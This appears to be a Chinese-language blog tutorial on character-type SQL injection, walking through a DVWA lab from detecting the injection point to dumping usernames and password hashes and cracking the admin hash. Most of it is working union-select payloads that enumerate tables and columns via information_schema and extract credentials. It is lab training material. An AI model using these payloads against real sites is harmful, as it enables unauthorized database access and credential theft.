0x01:sql注入含义
1.问:sql注入,谁去注入? 答:攻击者
2.问:sql注入,注入到哪里? 答:sql注入,注入到sql查询语句
3.问:sql注入,目的什么? 答:sql注入,注入到sql查询语句,从而破坏正常的sql查询语句,最终执行自己想要执行的语句
4.问:sql注入时候,执行的语句,有什么作用? 答:sql注入,执行的语句会与后台服务器直接进行交互,相当于是在一条命令换取一条甚至一组结果,之后返回到浏览器的页面进行渲染后,呈现在攻击者的面前。
0x02:本次sql注入的类型:
1.字符型注入,它的字符型是什么意思? 答:当输入的参数为字符串时,称为字符型。 2.字符型与数字型(整型)的区别在哪? 答:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。 3.注入的类型到底是什么鬼? 答:①攻击者把命令注入到查询语句中,是为了传到后台的sql服务器后,可以执行,并且获得反馈。 ②那么这个以什么类型的语句注入到查询语句中,就完全取决于后台的sql服务器了。 ③若服务器设置为char字符型,那么相应的你也要通过字符型来注入咯。。。。。
例1:
1.字符型注入的发现过程:
①.首先你会发现一个注入点,如下图所示: ②输入:'
如上图所示,通过结果发现服务器是通过字符串的格式来接收传参的,所以这个就是字符型注入咯。
a.最外面一对单引号,是为了高亮显示,也就是强调的。
b.接着一对单引号,是系统自动加的单引号。(字符型的,自动加一对单引号)(从这里判断的,这是字符型注入)
c.最里面一个单引号,是刚刚自己打的。
③输入:1' and '1'='1
如上图所示,结果正常显示。
a.第一行红色回显的语句,这条语句是你自己在输入框输入的语句,只是为了让你看清,自己输入了什么。
b.第一行的语句:1' and '1'=1' 这条语句在提交后,系统会自动进行闭合,也就是自动在前后加一对单引号,如: '1' and '1'='1'
④输入:1' and '1'='2
如上图所示,提交后无回显。
总结:字符型注入的判断过程:
' //出现5个引号 '''
1 and 1=1 //正常回显 '1 and 1=1'
1 and 1=2 //正常回显 '1 and 1=2'
1' and '1'='1 //正常回显 '1' and '1'='1'
1' and '1'='2 //不回显 '1' and '1'='2'
//前后的一对单引号,是字符型的时候,系统的自动闭合。
2.通过order by,猜解SQL查询语句中的字段数
①输入:1' order by 3 #
②输入:1' order by 2 #
3.通过联合查询,确定显示的字段顺序,查看当前数据库,版本,用户等信息
①输入:1' union select 1,2 #
//如上图所示,
Firstname为1;
Surname为2。
②输入:1' union select database(),version() #
//如上图所示,
把1的位置换成database()后,显示数据库为dvwa;
把2的位置换成version()后,显示版本为5.5.53。
③输入:1' union select user(),2 #
//如上图所示,
把1的位置换成user()后,显示服务器的用户为root,localhost为hostname主机名;
2的位置,依旧放2。
4.通过联合查询爆dvwa数据库的表
①输入:1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
//如上图所示,
联合查询后,一次性显示的表为:guestbook和users
②输入:1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #
//如上图所示,是逐条的显示出,表guestbook和users
5.通过联合查询,爆表里的列
①输入:1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
//如上图所示,一次性的爆列名,注意user_id和first_name和,user和password
②输入:1' union select column_name,1 from information_schema.columns where table_name='users' #
//如上图所示,逐条爆出列名,注意user_id和first_name和,user和password
6.通过联合查询,爆出列中的字段的内容
①输入:1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users# //如上图所示,一行显示所有信息 ②输入:1' union select concat_ws(char(32,58,32),user,password),2 from users#
//如上图所示,分行显示各自的用户名和密码
③输入:1' union select user,password from users #
//如上图所示,用户名和密码分行显示
7.解密admin用户的md5加密后的密码
①进入网站:https://www.cmd5.com/
//如上图所示,admin的密码是password
一句天赋毁了别人多少努力
2019-11-02————421